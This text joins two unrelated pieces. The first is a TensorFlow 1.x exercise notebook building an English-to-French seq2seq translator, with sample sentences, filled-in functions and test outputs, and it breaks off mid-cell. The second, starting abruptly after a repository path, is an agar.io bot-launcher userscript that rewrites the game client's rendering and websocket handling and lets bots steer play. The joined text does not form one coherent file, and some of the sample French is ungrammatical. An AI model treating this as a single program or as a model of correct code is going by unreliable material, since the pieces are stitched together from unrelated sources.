jersey is sometimes quiet during autumn , and it is snowy in april . the united states is usually chilly during july , and it is usually freezing in november . california is usually quiet during march , and it is usually hot in june . the united states is sometimes mild during june , and it is cold in september . your least liked fruit is the grape , but my least liked is the apple . his favorite fruit is the orange , but my favorite is the grape . paris is relaxing during december , but it is usually chilly in july . new jersey is busy during spring , and it is never hot in march . our least liked fruit is the lemon , but my least liked is the grape . the united states is sometimes busy during january , and it is sometimes warm in november . French sentences 0 to 10: new jersey est parfois calme pendant l' automne , et il est neigeux en avril . les états-unis est généralement froid en juillet , et il gèle habituellement en novembre . california est généralement calme en mars , et il est généralement chaud en juin . les états-unis est parfois légère en juin , et il fait froid en septembre . votre moins aimé fruit est le raisin , mais mon moins aimé est la pomme . son fruit préféré est l'orange , mais mon préféré est le raisin . paris est relaxant en décembre , mais il est généralement froid en juillet . new jersey est occupé au printemps , et il est jamais chaude en mars . notre fruit est moins aimé le citron , mais mon moins aimé est le raisin . les états-unis est parfois occupé en janvier , et il est parfois chaud en novembre . Implement Preprocessing Function Text to Word Ids As you did with other RNNs, you must turn the text into a number so the computer can understand it. In the function text_to_ids(), you'll turn source_text and target_text from words to ids. However, you need to add the <EOS> word id at the end of target_text. This will help the neural network predict when the sentence should end. You can get the <EOS> word id by doing: target_vocab_to_int['<EOS>'] You can get other word ids using source_vocab_to_int and target_vocab_to_int. def text_to_ids(source_text, target_text, source_vocab_to_int, target_vocab_to_int): """ Convert source and target text to proper word ids :param source_text: String that contains all the source text. :param target_text: String that contains all the target text. :param source_vocab_to_int: Dictionary to go from the source words to an id :param target_vocab_to_int: Dictionary to go from the target words to an id :return: A tuple of lists (source_id_text, target_id_text) """ # TODO: Implement Function source_id_text = [[source_vocab_to_int[word] for word in sentence.split()] \ for sentence in source_text.split('\n')] target_id_text = [[target_vocab_to_int[word] for word in sentence.split()] + [target_vocab_to_int['<EOS>']] \ for sentence in target_text.split('\n')] return source_id_text, target_id_text """ DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE """ tests.test_text_to_ids(text_to_ids) Tests Passed Preprocess all the data and save it Running the code cell below will preprocess all the data and save it to file. """ DON'T MODIFY ANYTHING IN THIS CELL """ helper.preprocess_and_save_data(source_path, target_path, text_to_ids) Check Point This is your first checkpoint. If you ever decide to come back to this notebook or have to restart the notebook, you can start from here. The preprocessed data has been saved to disk. import problem_unittests as tests """ DON'T MODIFY ANYTHING IN THIS CELL """ import numpy as np import helper (source_int_text, target_int_text), (source_vocab_to_int, target_vocab_to_int), _ = helper.load_preprocess() Check the Version of TensorFlow and Access to GPU This will check to make sure you have the correct version of TensorFlow and access to a GPU """ DON'T MODIFY ANYTHING IN THIS CELL """ from distutils.version import LooseVersion import warnings import tensorflow as tf from tensorflow.python.layers.core import Dense # Check TensorFlow Version assert LooseVersion(tf.__version__) >= LooseVersion('1.1'), 'Please use TensorFlow version 1.1 or newer' print('TensorFlow Version: {}'.format(tf.__version__)) # Check for a GPU if not tf.test.gpu_device_name(): warnings.warn('No GPU found. Please use a GPU to train your neural network.') else: print('Default GPU Device: {}'.format(tf.test.gpu_device_name())) TensorFlow Version: 1.1.0 Default GPU Device: /gpu:0 Build the Neural Network You'll build the components necessary to build a Sequence-to-Sequence model by implementing the following functions below: model_inputs process_decoder_input encoding_layer decoding_layer_train decoding_layer_infer decoding_layer seq2seq_model Input Implement the model_inputs() function to create TF Placeholders for the Neural Network. It should create the following placeholders: Input text placeholder named "input" using the TF Placeholder name parameter with rank 2. Targets placeholder with rank 2. Learning rate placeholder with rank 0. Keep probability placeholder named "keep_prob" using the TF Placeholder name parameter with rank 0. Target sequence length placeholder named "target_sequence_length" with rank 1 Max target sequence length tensor named "max_target_len" getting its value from applying tf.reduce_max on the target_sequence_length placeholder. Rank 0. Source sequence length placeholder named "source_sequence_length" with rank 1 Return the placeholders in the following the tuple (input, targets, learning rate, keep probability, target sequence length, max target sequence length, source sequence length) def model_inputs(): """ Create TF Placeholders for input, targets, learning rate, and lengths of source and target sequences. :return: Tuple (input, targets, learning rate, keep probability, target sequence length, max target sequence length, source sequence length) """ # TODO: Implement Function inputs = tf.placeholder(tf.int32, [None, None], 'input') targets = tf.placeholder(tf.int32, [None, None]) learning_rate = tf.placeholder(tf.float32, []) keep_prob = tf.placeholder(tf.float32, [], 'keep_prob') target_sequence_length = tf.placeholder(tf.int32, [None], 'target_sequence_length') max_target_len = tf.reduce_max(target_sequence_length) source_sequence_length = tf.placeholder(tf.int32, [None], 'source_sequence_length') return inputs, targets, learning_rate, keep_prob, target_sequence_length, max_target_len, source_sequence_length """ DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE """ tests.test_model_inputs(model_inputs) Tests Passed Process Decoder Input Implement process_decoder_input by removing the last word id from each batch in target_data and concat the GO ID to the begining of each batch. def process_decoder_input(target_data, target_vocab_to_int, batch_size): """ Preprocess target data for encoding :param target_data: Target Placehoder :param target_vocab_to_int: Dictionary to go from the target words to an id :param batch_size: Batch Size :return: Preprocessed target data """ # TODO: Implement Function go = tf.constant([[target_vocab_to_int['<GO>']]]*batch_size) # end = tf.slice(target_data, [0, 0], [-1, batch_size]) end = tf.strided_slice(target_data, [0, 0], [batch_size, -1], [1, 1]) return tf.concat([go, end], 1) """ DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE """ tests.test_process_encoding_input(process_decoder_input) Tests Passed Encoding Implement encoding_layer() to create a Encoder RNN layer: Embed the encoder input using tf.contrib.layers.embed_sequence Construct a stacked tf.contrib.rnn.LSTMCell wrapped in a tf.contrib.rnn.DropoutWrapper Pass cell and embedded input to tf.nn.dynamic_rnn() from imp import reload reload(tests) def encoding_layer(rnn_inputs, rnn_size, num_layers, keep_prob, source_sequence_length, source_vocab_size, encoding_embedding_size): """ Create encoding layer :param rnn_inputs: Inputs for the RNN :param rnn_size: RNN Size :param num_layers: Number of layers :param keep_prob: Dropout keep probability :param source_sequence_length: a list of the lengths of each sequence in the batch :param source_vocab_size: vocabulary size of source data :param encoding_embedding_size: embedding size of source data :return: tuple (RNN output, RNN state) """ # TODO: Implement Function embed = tf.contrib.layers.embed_sequence(rnn_inputs, source_vocab_size, encoding_embedding_size) def lstm_cell(): lstm = tf.contrib.rnn.BasicLSTMCell(rnn_size) return tf.contrib.rnn.DropoutWrapper(lstm, keep_prob) stacked_lstm = tf.contrib.rnn.MultiRNNCell([lstm_cell() for _ in range(num_layers)]) # initial_state = stacked_lstm.zero_state(source_sequence_length, tf.float32) return tf.nn.dynamic_rnn(stacked_lstm, embed, source_sequence_length, dtype=tf.float32) # initial_state=initial_state) """ DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE """ tests.test_encoding_layer(encoding_layer) Tests Passed Decoding - Training Create a training decoding layer: Create a tf.contrib.seq2seq.TrainingHelper Create a tf.contrib.seq2seq.BasicDecoder Obtain the decoder outputs from tf.contrib.seq2seq.dynamic_decode def decoding_layer_train(encoder_state, dec_cell, dec_embed_input, target_sequence_length, max_summary_length, output_layer, keep_prob): """ Create a decoding layer for training :param encoder_state: Encoder State :param dec_cell: Decoder RNN Cell :param dec_embed_input: Decoder embedded input :param target_sequence_length: The lengths of each sequence in the target batch :param max_summary_length: The length of the longest sequence in the batch :param output_layer: Function to apply the output layer :param keep_prob: Dropout keep probability :return: BasicDecoderOutput containing training logits and sample_id """ # TODO: Implement Function helper = tf.contrib.seq2seq.TrainingHelper(dec_embed_input, target_sequence_length) decoder = tf.contrib.seq2seq.BasicDecoder(dec_cell, helper, encoder_state, output_layer) dec_train_logits, _ = tf.contrib.seq2seq.dynamic_decode(decoder, maximum_iterations=max_summary_length) # for tensorflow 1.2: # dec_train_logits, _, _ = tf.contrib.seq2seq.dynamic_decode(decoder, maximum_iterations=max_summary_length) return dec_train_logits # keep_prob/dropout not used? """ DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE """ tests.test_decoding_layer_train(decoding_layer_train) Tests Passed Decoding - Inference Create inference decoder: Create a tf.contrib.seq2seq.GreedyEmbeddingHelper Create a tf.contrib.seq2seq.BasicDecoder Obtain the decoder outputs from tf.contrib.seq2seq.dynamic_decode def decoding_layer_infer(encoder_state, dec_cell, dec_embeddings, start_of_sequence_id, end_of_sequence_id, max_target_sequence_length, vocab_size, output_layer, batch_size, keep_prob): """ Create a decoding layer for inference :param encoder_state: Encoder state :param dec_cell: Decoder RNN Cell :param dec_embeddings: Decoder embeddings :param start_of_sequence_id: GO ID :param end_of_sequence_id: EOS Id :param max_target_sequence_length: Maximum length of target sequences :param vocab_size: Size of decoder/target vocabulary :param decoding_scope: TenorFlow Variable Scope for decoding :param output_layer: Function to apply the output layer :param batch_size: Batch size :param keep_prob: Dropout keep probability :return: BasicDecoderOutput containing inference logits and sample_id """ # TODO: Implement Function start_tokens = tf.constant([start_of_sequence_id]*batch_size) helper = tf.contrib.seq2seq.GreedyEmbeddingHelper(dec_embeddings, start_tokens, end_of_sequence_id) decoder = tf.contrib.seq2seq.BasicDecoder(dec_cell, helper, encoder_state, output_layer) dec_infer_logits, _ = tf.contrib.seq2seq.dynamic_decode(decoder, maximum_iterations=max_target_sequence_length) # for tensorflow 1.2: # dec_infer_logits, _, _ = tf.contrib.seq2seq.dynamic_decode(decoder, maximum_iterations=max_target_sequence_length) return dec_infer_logits """ DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE """ tests.test_decoding_layer_infer(decoding_layer_infer)
Lifestylerr / DAWD/*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.124 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.124; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() { return []; }; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime()) / 1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } 